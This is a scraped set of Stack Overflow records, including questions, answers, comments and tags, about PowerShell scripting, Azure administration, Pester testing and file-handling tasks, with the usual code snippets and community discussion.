has text: This has once again reminded me of why I so intensely dislike asking questions here instead of sources that don't talk to people like they're stupid. But thanks for reminding me of that.
type: QuestionComment

http://stackoverflow.com/comment/139905239
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/79320969
type: Comment
has text: @Rukmini I can also see old tenants where it is included but in the new one I cannot find it :/

http://stackoverflow.com/comment/140015319
type: Comment
has text: What is the value of $tb1?
score: 0
comment on: http://stackoverflow.com/q/79394411
type: QuestionComment

http://stackoverflow.com/comment/139879191
type: QuestionComment
type: Comment
has text: Powershell script. '{ "tagName": { "value": "Environment" }, "tagValue": { "value": "Production" } }' > .\TagPolicyParameters.json $Policy = Get-AzPolicyDefinition | Where-Object {$_.DisplayName -eq 'Add a tag to resources'}$Subscription = Get-AzSubscription -SubscriptionName 'Sub_ID' New-AzPolicyAssignment -Name 'EnforceTaggingPolicy' -PolicyDefinition $Policy -Scope "/subscriptions/$($Subscription.Id)" -PolicyParameter .\TagPolicyParameters.json -Location 'eastus' -IdentityType 'SystemAssigned'
comment on: http://stackoverflow.com/q/79322753
score: 0

http://stackoverflow.com/comment/139913863
has text: Edited...pls try now.
comment on: http://stackoverflow.com/a/79341652
type: AnswerComment
type: Comment
score: 0

http://stackoverflow.com/comment/139822072
comment on: http://stackoverflow.com/q/79291349
type: QuestionComment
has text: 100K lines shouldn't be a problem. Try something simpler, like `Get-Content myfile.txt |ForEach-Object { $_ -replace '^[^:]+:' } |Set-Content newfile.txt`
type: Comment
score: 0

http://stackoverflow.com/comment/140020659
comment on: http://stackoverflow.com/q/79397285
score: 0
type: QuestionComment
has text: I'm calling the script from cmd.
type: Comment

http://stackoverflow.com/comment/139892822
comment on: http://stackoverflow.com/q/79330357
score: 1
type: QuestionComment
type: Comment
has text: For a similar question, see https://stackoverflow.com/questions/6763086/why-is-input-redirect-not-implemented-in-powershell

where-object
tags question: http://stackoverflow.com/q/79271171
tag name: where-object
type: Tag
tags question: http://stackoverflow.com/q/79482745

http://stackoverflow.com/comment/140030058
score: 0
comment on: http://stackoverflow.com/q/79401312
has text: @mclayton that website is the exact one i got the info from posted above and will post a sample of the xml in next comment. thank you.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139989744
comment on: http://stackoverflow.com/q/79381522
type: QuestionComment
score: 2
type: Comment
has text: Have a look [here](https://www.tenforums.com/tutorials/99959-set-disk-quota-limit-warning-level-new-users-windows.html)

http://stackoverflow.com/comment/140032849
type: Comment
has text: @DougMaurer glad you did :)
score: 0
comment on: http://stackoverflow.com/a/79400938
type: AnswerComment

http://stackoverflow.com/comment/139742898
score: 0
has text: Please provide enough code so others can better understand or reproduce the problem.
type: QuestionComment
comment on: http://stackoverflow.com/q/79247316
type: Comment

http://stackoverflow.com/comment/139814655
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79286923
has text: How does "mytest.exe" produce the output that you want to capture? If it directly writes to the console (e. g. using `WriteConsole()` instead of using `WriteFile()` with a standard output handle), then it can't be redirected using the `>` operator.
score: 1

http://stackoverflow.com/a/79251448
answers question: http://stackoverflow.com/q/79251306
upvote count: 4
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79251306
score: 4
downvote count: 0
type: Answer
has body: Expandable string literals (string literals defined with double-quotes "...") only expand simple expressions - meaning that when PowerShell see's "... $variable.propertyName", it expands $variable on its own, and then ignores .propertyName. To force evaluation of the member access operation, enclose it in the sub-expression operator $(...), eg.: Write-Host "`nWritten $($ebrDeatails.description) with Hash $($ebrDeatails.sha256) to policy on web." -ForegroundColor Green PowerShell will now evaluate the expressions inside $(...) separately before interpolating them into the resulting string value.
has comment: http://stackoverflow.com/comment/139753728

http://stackoverflow.com/a/79326898
downvote count: 0
type: AcceptedAnswer
score: 2
upvote count: 2
type: Answer
has body: This appears to be a limitation of Pester at the moment (as of version 5.6.1) per the comments from a maintainer in this issue: https://github.com/pester/Pester/issues/2154 This is a long-standing limitation of Mock. It is not impossible. Just complicated to do. It seems to be to do with the fact that the way Mock works currently utilises the begin..process..end pattern as part of the mock framework: Okay, been looking a bit more into the implementation of Mock, what we do now is that in begin we setup the mock, in process we run the MockWith scriptblock for every item that was received via pipeline, and in end we just check if we should invoke the original command, and if yes we invoke it. Which means that when you're mocking a function that accepts pipeline input, regardless of whether or not you define a begin..process..end in your mock the code you define is all executed as part of the process block. I think your best option to workaround this limitation at the moment would be to either not Mock the function at all (just execute it), or create a stub function (e.g just define a version of the function in your test script, as you have done in your example) that executes a cut down version of the function in a way that simulates the output for your test scenario (there may not be any way to cut down your function if it's already relatively simple).
answers question: http://stackoverflow.com/q/79326343
accepted answer of: http://stackoverflow.com/q/79326343

breadcrumbs
type: Tag
tags question: http://stackoverflow.com/q/79401137
tag name: breadcrumbs

http://stackoverflow.com/comment/139794659
type: AnswerComment
score: 2
type: Comment
has text: @jkix note that using `param($env:EnvVar)` is misleading in this case, when you assign `$env:MY_ENV_VAR = 'hello world!'` that variable is only on the process environment, if you start a new elevated process that variable no longer exist in that process environment. `$env:` should be removed in this case.
comment on: http://stackoverflow.com/a/79273719

http://stackoverflow.com/a/79261582
score: 0
has body: Your PowerShell code yields the same result as your diff (+ grep) command, because both report only those lines from file1.txt that don't also exist in file2.txt and aren't empty. In other words: the actual output is the expected result of this logic, and it's unclear why you expect different output: Your expected output suggests a different logic, which is: retrieve all lines from file1.txt that aren't empty; in other words: the content of file2.txt doesn't matter. Implementing this logic would simply be the following, i.e. to retrieve all non-empty lines from file1.txt: @(Get-Content file1.txt) -ne ''
answers question: http://stackoverflow.com/q/79246610
type: Answer

http://stackoverflow.com/comment/139754390
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79253851
has text: Sure will check and update

byte-order-mark
type: Tag
tags question: http://stackoverflow.com/q/79307726
tag name: byte-order-mark

http://stackoverflow.com/comment/139986716
type: AnswerComment
score: 2
has text: Other than the use of variables `$xmldataparam` and `$idparam` and removal of the `Write-Host` commands, how is this different from the original code? And why the question at all if you already had the answer? Pipelining and output redirection in PowerShell is a pretty fundamental concepts.
type: Comment
comment on: http://stackoverflow.com/a/79379723

http://stackoverflow.com/comment/140032226
comment on: http://stackoverflow.com/a/79402333
type: Comment
score: 3
has text: @NuckinFutz If this answer was able to satisfy your need please mark it as Accepted by clicking the green checkmark to the left of the answer. This will help others with a similar issue find solutions quickly in the future, and give credit to Joseph for a functional solution.
type: AnswerComment

http://stackoverflow.com/comment/139770294
has text: @alx9r i made this, didnt add it here because it isnt relevant to the question being asked but this is the best version i can think of for c# `using`: https://gist.github.com/santisq/f9a94b15f450c5f350a27fb05da22e1b#file-useobjectcommand-cs
comment on: http://stackoverflow.com/a/79262856
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/79279237
score: 0
answers question: http://stackoverflow.com/q/79277716
has body: You can inspect the remote certificate in PowerShell as follows: # Extracted portion of https://github.com/Mike-Crowley/Public-Scripts/blob/main/OSINT/Request-AdfsCerts.ps1 function Get-SSLCertificate { [CmdletBinding()] param( [Parameter(Mandatory = $true)] [string]$Url, [Parameter(Mandatory = $false)] [string]$HostHeader ) begin { if ($PSVersionTable.PSEdition -ne "Desktop") { Throw "This function requires Windows PowerShell (Desktop edition)." } # If no host header provided, extract from URL if (-not $HostHeader) { $uri = [System.Uri]::new($Url) $HostHeader = $uri.Host } } process { try { [Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } # Make HTTPS connection and get content $request = [Net.HttpWebRequest]::Create($Url) $request.Host = $HostHeader $request.AllowAutoRedirect = $false $response = $request.GetResponse() # Extract the certificate from the request if ($null -ne $request.ServicePoint.Certificate) { $HttpsCertBytes = $request.ServicePoint.Certificate.GetRawCertData() # Extract HTTPS cert $CertInBase64 = [convert]::ToBase64String($HttpsCertBytes) $Cert_x509 = [Security.Cryptography.X509Certificates.X509Certificate2]([System.Convert]::FromBase64String($CertInBase64)) Write-Output $Cert_x509 } else { Write-Warning "No Certificate Found at $Url" } } catch { Write-Error "Error retrieving certificate: $_" } finally { if ($null -ne $response) { $response.Close() } } } } Sample outputs: # Returns: # WARNING: No Certificate Found at http://example.com Get-SSLCertificate -Url http://example.com # In PS 6+ returns an error: # This function requires Windows PowerShell (Desktop edition). Get-SSLCertificate -Url https://example.com # Returns: # Thumbprint Subject # ---------- ------- # 4DA25A6D5EF62C5F95C7BD0A73EA3C177B36999D CN=www.example.org, O=Internet Corporation for Assigned Names and Numbers, L=Los Angeles, S=California, C=US Get-SSLCertificate -Url https://example.com
type: Answer

http://stackoverflow.com/comment/139773160
score: 1
comment on: http://stackoverflow.com/a/79264357
type: AnswerComment
has text: I've added a new section to the question
type: Comment

http://stackoverflow.com/comment/140018463
score: 4
type: Comment
comment on: http://stackoverflow.com/a/79396362
type: AnswerComment
has text: @sirtao in cases like this, when the filter also applies on renamed files, you might see that Get-ChildItem picks up those renamed files again. The more files you need to process, the higher the chance of this happening.

http://stackoverflow.com/comment/140005729
has text: The elevated stuff usually happens with a dedicated user account that is a local admin, while the user part runs at logon for all users, who aren't local admins, with an option to not bother for local admins. In any case I think I can just respect whatever culture is assigned for each user. I still can't get my head around what use case argues against that being the default, rather than this default to US unless you jump through hoops madness. But hey, Microsoft will be Microsoft. For now it works for me, and if it doesn't work in extended testing I go back to US and blame Microsoft. :)
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79387067

http://stackoverflow.com/comment/139761969
type: Comment
has text: "*... as this returns always an array of count 1 regardless of the -count parameter…*", that should be the case: `function Test { $result = @{ a = 1 }, @{ b = 2}; return ,$result }` --> `(Test).Count` --> `2`
comment on: http://stackoverflow.com/a/79257932
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139760922
type: Comment
has text: Also, scoping variables with `$global:` seems overkill. Try `$script:` instead
comment on: http://stackoverflow.com/q/79256387
score: 0
type: QuestionComment

http://stackoverflow.com/a/79261566
type: Answer
has body: Fundamentally, you can take advantage of the PowerShell pipeline's auto-enumeration behavior and the ability of most cmdlets to accept object-by-object input via the pipeline: $resourceGroups | ForEach-Object { Get-AzWvdHostPool -ResourceGroupName $resourceGroup.ResourceGroupName | Get-AzWvdSessionHost | ForEach-Object { $sessionHost = $_ # Further processing... } } Note: The above invariably performs sequential object-by-object processing. In PowerShell (Core) 7, you can speed up processing with parallel processing, using the ForEach-Object cmdlet's -Parallel parameter; as noted in Santiago's answer, alternative solutions are available in Windows PowerShell (the legacy, ships-with-Windows, Windows-only edition of PowerShell whose latest and last version is 5.1).
score: 0
answers question: http://stackoverflow.com/q/79245155

http://stackoverflow.com/comment/139926992
type: AnswerComment
has text: what is the difference between the enterprise application and the app registration of the web/function app? I got the error because I was using the latter
type: Comment
comment on: http://stackoverflow.com/a/79346604
score: 0

http://stackoverflow.com/comment/139799171
comment on: http://stackoverflow.com/a/79278092
has text: I made a couple stupid errors in my original answer, I have edited to have it work correctly
score: 0
type: AnswerComment
type: Comment

dispose
tag name: dispose
type: Tag
tags question: http://stackoverflow.com/q/79265633

ms-office
type: Tag
tag name: ms-office
tags question: http://stackoverflow.com/q/79392746

http://stackoverflow.com/comment/140013948
type: Comment
has text: oh dude [`$PSCommandPath`](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_automatic_variables?view=powershell-7.4#pscommandpath) is much easier in that case (if it's always a file) @user66001
comment on: http://stackoverflow.com/a/79394307
score: 1
type: AnswerComment

http://stackoverflow.com/comment/139892858
score: 0
has text: Crying at my keyboard - could you check if you have some enterprise applications approved in your entra e.g, “API-driven priovisioning to Microsoft Entra ID” or something else seems like that is the missing element
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79320969

http://stackoverflow.com/comment/139821796
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/79288500
type: Comment
has text: It works - can't thank you enough!

http://stackoverflow.com/comment/139823761
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79292221
has text: To note, I just tried with default application set to Chrome and Edge and both failed with the same error message you receive when I specify `-Verb 'print'`. Only setting my default application to Adobe Acrobat Reader worked.
score: 1

http://stackoverflow.com/comment/139770713
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79256553
has text: @SantiagoSquarzon, happy to see that it worked out. Needless to say, even I brought up the idea from a PowerShell/.net view, the `C#` code is above my head , I can hardly read it, let alone write something like you did...

http://stackoverflow.com/comment/139787950
score: 0
has text: Put `$assetid` at the bottom of the one function, without write-host.
comment on: http://stackoverflow.com/q/79271819
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139883741
has text: @SelvamSubramani, From what I know about Azure policy, your requirement should be feasible, but there may not be a ready-made example. You need to look at `if` `then` logical and related functions abount policy json from the beginning, such as how to determine the prefix of string in policy json.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79322834
type: AnswerComment

http://stackoverflow.com/a/79354684
answers question: http://stackoverflow.com/q/79350568
upvote count: 2
downvote count: 0
type: Answer
score: 2
has body: I tried -AsJob and it didnt work. I'm assuming this relates to prematurely terminating remote jobs - try doing the other stuff you need to do, then call Wait-Job to ensure the remote job finished before you exited the script: $localScriptPath = "C:\some\path\to\a\script.ps1" foreach ($hostname in $hostnames) { # kick off remote payload as job $job = Invoke-Command -ComputerName $hostname -ScriptBlock { & $using:localScriptPath -InstallApproved } -AsJob -Credential $credentials # simulating "other stuff" Start-Sleep -Seconds 5 # wait for job to finish $job |Wait-Job # optionally do post-remote-script stuff here } As suggested in the comments, there's no need to call powershell.exe on the remote side - you're already running in a remote PowerShell session! If you need to target multiple machines up front and don't care about synchronization with the rest of the script, kick off all remoting jobs at once by passing multiple hostnames to Invoke-Command -ComputerName: $localScriptPath = "C:\some\path\to\a\script.ps1" # kick off all the remoting jobs at once $jobs = Invoke-Command -ComputerName $hostname -ScriptBlock { & $using:localScriptPath -InstallApproved } -AsJob -Credential $credentials foreach ($hostname in $hostnames) { # simulating "other stuff" Start-Sleep -Seconds 5 } $jobs |Wait-Job -TimeOut 60 # optionally time out after X seconds of waiting (here 60 seconds)

http://stackoverflow.com/comment/139797686
score: 0
has text: Have you tried specifically testing http:// rather than https://?
comment on: http://stackoverflow.com/q/79277716
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139822576
comment on: http://stackoverflow.com/q/79290835
type: QuestionComment
has text: Let us [continue this discussion in chat](https://chat.stackoverflow.com/rooms/258961/discussion-between-unbuckle-and-sridevi).
type: Comment
score: 0

http://stackoverflow.com/comment/139946552
type: Comment
comment on: http://stackoverflow.com/a/79343934
score: 0
has text: @WinBoss check the scope of the variable group - are you referencing it at the pipeline or job scope?
type: AnswerComment

http://stackoverflow.com/comment/139907802
score: 0
comment on: http://stackoverflow.com/q/79337547
type: QuestionComment
type: Comment
has text: You can just use the `-Depth` parameter to address the recursion. Depending on the depth of recursion, you can put a value to your command. `Get-ChildItem -Path C:\FilePath -Depth 4` means it will get to 4 level of recursions.

http://stackoverflow.com/comment/139773686
score: 0
comment on: http://stackoverflow.com/a/79264357
has text: Weird, I cannot reproduce that behaviour, even with your setiings. Did you try to empty your `settings.json` and start VS Code with `--disable-extensions`? and what about uninstall & reinstall? Seems like one of these rare bugs that haunt VS Code from time to time :(.
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/139908918
has text: You could introduce a build step that merges all your `.ps1` files into the root `.psm1` on publishing - though I'm not sure how much that will speed up things. `FunctionsToExport = '*'` will slow down PowerShell's module discovery; better to explicitly enumerate all exported functions (that list could also be created as part of a build step). In general, it's best to avoid exporting _variables_ from modules (assuming that's what you're doing) - users may not expect it, they're harder to discover, and there's a greater chance of name collisions.
comment on: http://stackoverflow.com/q/79338576
type: QuestionComment
score: 2
type: Comment

http://stackoverflow.com/comment/139759401
type: Comment
has text: maybe you can do `ps.AddScript("param($sb, $token) & $sb $token).AddArgument(ScriptBlock).AddArgument(_src.Token)`. I don't like it and wouldn't recommend it.
comment on: http://stackoverflow.com/a/79256609
score: 1
type: AnswerComment

http://stackoverflow.com/a/79409105
answers question: http://stackoverflow.com/q/79406020
has body: It's not exactly what you're looking for, but you can extend the Hashtable type, adding a ScriptMethod that can help you find nodes in your nested hashtable based on a delegate: Update-TypeData -TypeName Hashtable -MemberType ScriptMethod -MemberName Find -Value { param([System.Func[object, object, bool]] $Delegate) $stack = [System.Collections.Stack]::new() $stack.Push([pscustomobject]@{ Node = $this }) while ($stack.Count) { $dict = $stack.Pop() foreach ($pair in $dict.Node.GetEnumerator()) { $node = [pscustomobject]@{ Path = $dict.Path + &quot;[$($pair.Key)]&quot; Node = $pair.Value Parent = $dict } if ($pair.Value -is [System.Collections.IDictionary]) { $stack.Push($node) continue } try { if ($Delegate.Invoke($pair.Key, $pair.Value)) { $node } } catch { } } } } The usage would be: $test.Find({param($key, $value) $value.Contains('SUBSET') }) # Path Node Parent # ---- ---- ------ # [server1][service1][group] {ALL, SUBSET} @{Path=[server1][service1]; Node=System.Co... # [server2][service3][group] {ALL, SUBSET} @{Path=[server2][service3]; Node=System.Co... $test.Find({param($key, $value) $value -eq 'C:\hi3' }) # Path Node Parent # ---- ---- ------ # [server2][service3][filePath] C:\hi3 @{Path=[server2][service3]; Node=System.Collec... $test.Find({param($key, $value) $key -eq 'serviceName' -and $value -eq 'servName2' }) # Path Node Parent # ---- ---- ------ # [server1][service2][serviceName] servName2 @{Path=[server1][service2]; Node=System.... Then using the .Parent property you can navigate up in the tree, for example: $result = $test.Find({param($key, $value) $value.Contains('SUBSET') }) $result[0].Parent.Parent.Node # Name Value # ---- ----- # service1 {[properties1, System.Collections.Hashtable], [filePath, C:\hi], ... # service2 {[properties1, System.Collections.Hashtable], [filePath, C:\hi2], ...
type: Answer
score: 0

http://stackoverflow.com/q/79262451
has comment: http://stackoverflow.com/comment/139769692
favorite count: 0
type: Question
tagged with: pipeline
has answer: http://stackoverflow.com/a/79262486
tagged with: powershell
downvote count: 0
accepted answer: http://stackoverflow.com/a/79262486
answer count: 1
type: AnsweredQuestion
score: 3
upvote count: 3
has body: I'm a novice in PowerShell. Recently I encountered a problem about how to cascade commands or functions. I've found 2 ways: CMD_B (CMD_A ($x)) $x | CMD_A | CMD_B But, what's the difference between the above 2 ways? For example, the results of Write-Output (Get-Process) and Get-Process | Write-Output look the same. Are there different details hidden? I've searched the doc about grouping-operator () and Pipeline operator |, and find: Piping grouped expressions When used as the first segment of a pipeline, wrapping a command or expression in parentheses invariably causes enumeration of the expression result. If the parentheses wrap a command, it's run to completion with all output collected in memory before the results are sent through the pipeline. Grouping an expression before piping also ensures that subsequent object-by-object processing can't interfere with the enumeration the command uses to produce its output. But I don't quite understand it. Maybe it's because I lack the basic knowledge of pipelines. Thanks in advance.
has title: In PowerShell, what's the difference between the operators "( )" and "|", such as `Write-Output (Get-Process)` and `Get-Process | Write-Output`?

http://stackoverflow.com/a/79370741
type: Answer
answers question: http://stackoverflow.com/q/79368281
score: 0
has body: $DirectoryArray = '.\Folder 1', '.\Folder 2', '.\Folder 3' $ExtensionArray = '.mp3', '.opus', '.m4a' # Get all Files from the selected directories. $DuplicateArray = Get-ChildItem -Path $DirectoryArray -Recurse -Depth 1 -File | # Cannot use -Filter for multiple elements in Get-ChildItem so let's filter here. Where-Object Extension -In $ExtensionArray | # Group the files by BaseName, so without the extension. Group-Object -Property BaseName | # Skip files with only 1 entry. Where-Object -Property Count -GT 1 # For each group of duplicate names. foreach ($DuplicateSet in $DuplicateArray) { # Order the files by size, biggest to smallest. $AllFiles = $DuplicateSet.Group | Sort-Object -Property Length -Descending # Send all files except the last one(the smallest) to be deleted. $AllFiles | Select-Object -SkipLast 1 | Remove-Item -WhatIf # For each Directory. # Select the last = smallest file and copy it to the directory. foreach ($Destination in $DirectoryArray) { # -ErrorAction SilentlyContinue because it will try to copy it over itself, and that's a error we can ignore. # But using SilentlyContinue let's us keep logging errors should something unforeseen happen. $AllFiles | Select-Object -Last 1 | Copy-Item -Destination $Destination -ErrorAction SilentlyContinue -WhatIf } } #&gt;

http://stackoverflow.com/comment/139843542
comment on: http://stackoverflow.com/q/79303120
has text: Can you post a snippet of your .sqlproj file?
type: QuestionComment
score: 2
type: Comment

ssh-keys
type: Tag
tags question: http://stackoverflow.com/q/79416722
tag name: ssh-keys

http://stackoverflow.com/comment/140010061
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79387067
has text: @Gordon: As noted, a _different_ user account can by design have its own culture settings. Anything that runs in the context of a given user - whether admin or not - that _doesn't_ respect that user's persistently configured culture _remains a mystery_, and, in the absence of a reproducible case, may be a problem _specific to unknown problems with your machine(s)_.
type: Comment

http://stackoverflow.com/a/79369105
has comment: http://stackoverflow.com/comment/140178701
answers question: http://stackoverflow.com/q/79368281
type: Answer
score: 0
has body: It seems you are telling us that you would always prefer to have the file in FolderA copied to FolderB as it is smaller and newer than the files in FolderB, right? At the same time remove all files with a similar BaseName in FolderB but having a different extension (any of '.opus', '.mp3','.m4a') To do that, I would suggest using Get-ChildItem to get only the files with any of the three extensions mentioned first and then loop over the list from your FolderA to find and remove files in FolderB. # append switch -File so your lists will not also contain directories $aFiles = Get-ChildItem -Path $aDir -File -Include '*.opus', '*.mp3','*.m4a' -Recurse $bFiles = Get-ChildItem -Path $bDir -File -Include '*.opus', '*.mp3','*.m4a' -Recurse # loop over the source files in FolderA foreach ($file in $aFiles) { # delete the B files with the same BaseName as the current file from the A folder $bFiles | Where-Object {$_.BaseName -eq $file.BaseName} | ForEach-Object { Write-Host "Deleting '$($_.FullName)'..." $_ | Remove-Item -WhatIf # see below about the WhatIf switch } # next, copy the file from the A folder to the B folder $file | Copy-Item -Destination $bDir } I have added -WhatIf to the destructive Remove-Item command so what will now happen is that you will only see in the console which files would be deleted. In reality, nothing actually gets removed. If the output in the console is what you expect it to be, remove the -WhatIf switch and run the code again

http://stackoverflow.com/comment/139821653
has text: Added picture from Azure
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79290835
score: 0

http://stackoverflow.com/a/79366437
score: 0
has comment: http://stackoverflow.com/comment/139965675
answers question: http://stackoverflow.com/q/79362806
has body: The immediate problem is that $MyInvocation.MyCommand.Path doesn't work the way you expect in a function - you're instead looking for the file path of the calling script file. While you would normally use the automatic $PSCommandPath variable to obtain the full path to the running script, this will not work in your case, because - due to the function originating in a (persisted) module - $PSCommandPath refers to the script-module file (*.psm1), not to the script (*.ps1) from which the module function is called. Therefore, use Get-PSCallStack[1] from the module function to obtain the calling script's full path, via the .ScriptName property, as shown below. The subsequent problem is that submitting a '...' string to the -Command parameter of the PowerShell CLI (powershell.exe for Windows PowerShell, pwsh for PowerShell (Core) 7) is interpreted as a verbatim string (single-quoted). To submit a quoted string as a command, you'd have to use &, the call operator as part of your -Command argument. However, it is best to use the -File CLI parameter instead, as shown below. However, note that doing so invariably limits pass-through of the input arguments to those that can be represented as strings. Thus, use the following - note the omission of -NoExit and the addition of exit $LASTEXITCODE; furthermore, the assumption is that test.ps1 doesn't formally declare parameters and calls the function as follows: Restart-ScriptInPowerShell7 $args: # NOTE: # The code assumes that this function is exported via a # (script) module (a *.psm1 file). function Restart-ScriptInPowerShell7 { Write-Verbose "Checking PowerShell version..." if ($PSVersionTable.PSVersion -lt [version] "7.0.0") { Write-Host "Current PowerShell version is less than 7. Relaunching in PowerShell 7..." # Relaunch the calling script in PowerShell 7 in the current window. pwsh.exe -File (Get-PSCallStack)[1].ScriptName $args Write-Verbose "Relaunching completed. Continuing execution after PowerShell 7 session starts." e…
has comment: http://stackoverflow.com/comment/139973126
has comment: http://stackoverflow.com/comment/139965882
type: Answer

http://stackoverflow.com/comment/140017219
score: 1
has text: Without knowing what the script is meant to do is quite difficult to suggest optimizations: using .NET methods could make it slower if you were to need object properties down the line as you'd need to rebuild them. Likewise the common suggestion of `Foreach-Object -Parallel` could be useless if you need to, for example, write a file sequentially with the results
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79395563

http://stackoverflow.com/comment/140004033
score: 0
has text: @Gordon, if the elevated part of your app runs with the same user identity as the non-elevated part, both parts should see the same culture in effect. If not, extra work would be necessary to make the elevated part query the target user's culture.
type: AnswerComment
comment on: http://stackoverflow.com/a/79387067
type: Comment

http://stackoverflow.com/comment/139811395
comment on: http://stackoverflow.com/q/79285339
type: QuestionComment
has text: Use this query `az ad sp list --filter "accountEnabled eq true"` --output json, and let me know this works for you or not
type: Comment
score: 1

http://stackoverflow.com/comment/139775384
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79265633
score: 0
has text: "A .Net method could do something similar to that unfair test." not really unless it was designed by a careless developer.

flutter-aws-amplify
tag name: flutter-aws-amplify
tags question: http://stackoverflow.com/q/79379401
type: Tag

http://stackoverflow.com/comment/139905914
type: QuestionComment
type: Comment
score: 0
has text: @js2010 Thank you for the suggestion. Tried that and still comes up with the same error.
comment on: http://stackoverflow.com/q/79334607

http://stackoverflow.com/comment/140027617
score: 1
type: AnswerComment
has text: I am an idiot. Completely missed the `@` needed when using the splat. Now works as should. Thanks.
type: Comment
comment on: http://stackoverflow.com/a/79397850

http://stackoverflow.com/comment/139833876
type: QuestionComment
score: 2
type: Comment
has text: Alternatively define a function in your script and import your function using dot-sourcing:`. .\myScript.ps1` (note initial dot). Then you can set `PSDefaultParameterValues` for the function of your script.
comment on: http://stackoverflow.com/q/79297671

http://stackoverflow.com/comment/140025793
has text: As far as I can tell `$MyInvocation.PSCommandPath` always returns the name of the function so if I use that line directly in the script it would work but I am trying to get i to be a function to deploy it for a few use cases.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79400251

http://stackoverflow.com/comment/139811230
type: QuestionComment
type: Comment
has text: What's the motivation behind reusing an existing/built-in message template? Will you not have access to create/register new log sources on the target systems?
comment on: http://stackoverflow.com/q/79285255
score: 1

http://stackoverflow.com/comment/139770243
type: Comment
score: 0
has text: Yup. Me too. I think this may well solve that other question I was struggling to ask the other day.
comment on: http://stackoverflow.com/a/79262856
type: AnswerComment

http://stackoverflow.com/comment/140008659
has text: It is always a subprocess. You have to look at the parent process id. The parent could be the current process or System. Detattach will make it a subprocess of System and not current process.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79375356

http://stackoverflow.com/comment/139998603
has text: Perhaps I misunderstood: do the Unique ID Folders only START with the Unique ID?
comment on: http://stackoverflow.com/a/79384020
type: AnswerComment
type: Comment
score: 0

http://stackoverflow.com/comment/139804574
score: 0
comment on: http://stackoverflow.com/q/79279035
has text: Adding the word "Powershell" does not change it magically from an OS question into a programming question, any more than adding the word *steak* after the word *turd* makes it an appetizing meal. :-) It's 'not a programming question, and belongs on [su].
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139960903
score: 0
has text: @Wayne I am going to test this and get back to you.
comment on: http://stackoverflow.com/q/79364993
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140016506
has text: It would not let me inclued the error: PS G:\VMs\ClonedVM3> C:\Users\Administrator\Documents\CopyVM.ps1 Import-VM : The file 'G:\VM\New Machine.vhdx' already exists. At C:\Users\Administrator\Documents\CopyVM.ps1:44 char:23 + ... mportedVM = Import-VM -Path $vmConfigFile.FullName -GenerateNewId -Co ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [Import-VM], VirtualizationException + FullyQualifiedErrorId : Unspecified,Microsoft.HyperV.PowerShell.Commands.ImportVM
comment on: http://stackoverflow.com/q/79395636
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/140024314
comment on: http://stackoverflow.com/q/79399193
type: QuestionComment
type: Comment
score: 0
has text: Technically a _list_ of objects that may be either arrays, strings, or `$null` - all of which are assignable to `[object]`, which is why it never errors :)

http://stackoverflow.com/comment/139885096
comment on: http://stackoverflow.com/q/79326343
type: QuestionComment
type: Comment
has text: This looks to be a limitation of Pester mocking atm, as described here: https://github.com/pester/Pester/issues/2154
score: 2

http://stackoverflow.com/comment/139822535
type: QuestionComment
has text: Have you tried `Invoke-RestMethod -Uri $importUrl -Method Post -Headers $ImportHeaders -Body $importBody` ?
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79284932

git-extensions
tag name: git-extensions
tags question: http://stackoverflow.com/q/79343084
type: Tag

http://stackoverflow.com/comment/139770315
type: AnswerComment
type: Comment
has text: yup, it does. that solves the problem @alx9r
comment on: http://stackoverflow.com/a/79262856
score: 0

http://stackoverflow.com/comment/139824289
has text: Thank you for your detailed explanation. Your answer was by far the best. It's sad to learn that there is no possible solution to this problem(considering the constraints). Thank you again for your detailed answer and your help! PS: I tried your new code and only got the MSEdge print pop-up in full-screen. nothing was printed, until I manually select print.
type: Comment
comment on: http://stackoverflow.com/a/79292424
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139992268
comment on: http://stackoverflow.com/q/79382069
has text: @olaf what can I say use Google translate or deeply to get it in your preferred language. I never asked PowerShell to use German. But that is Microsoft
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139905343
has text: Glad that it worked:)
type: QuestionComment
comment on: http://stackoverflow.com/q/79320969
type: Comment
score: 1

http://stackoverflow.com/comment/139831761
type: QuestionComment
type: Comment
has text: A pipeline that has no results (as e.g.:`... | Where-Object { $False }`, yields an [enumerable null](https://learn.microsoft.com/powershell/scripting/learn/deep-dives/everything-about-null#enumerable-null). I think your questions are already covered by this document [Everything you wanted to know about `$null`](https://learn.microsoft.com/powershell/scripting/learn/deep-dives/everything-about-null).
score: 3
comment on: http://stackoverflow.com/q/79296217

http://stackoverflow.com/comment/139822024
type: QuestionComment
type: Comment
score: 0
has text: Looks like you're looking to exclude the first token of a string split in `:`, i.e.: `foo:bar:baz` into `bar:baz` is that correct? If so this method you're using is very inefficient
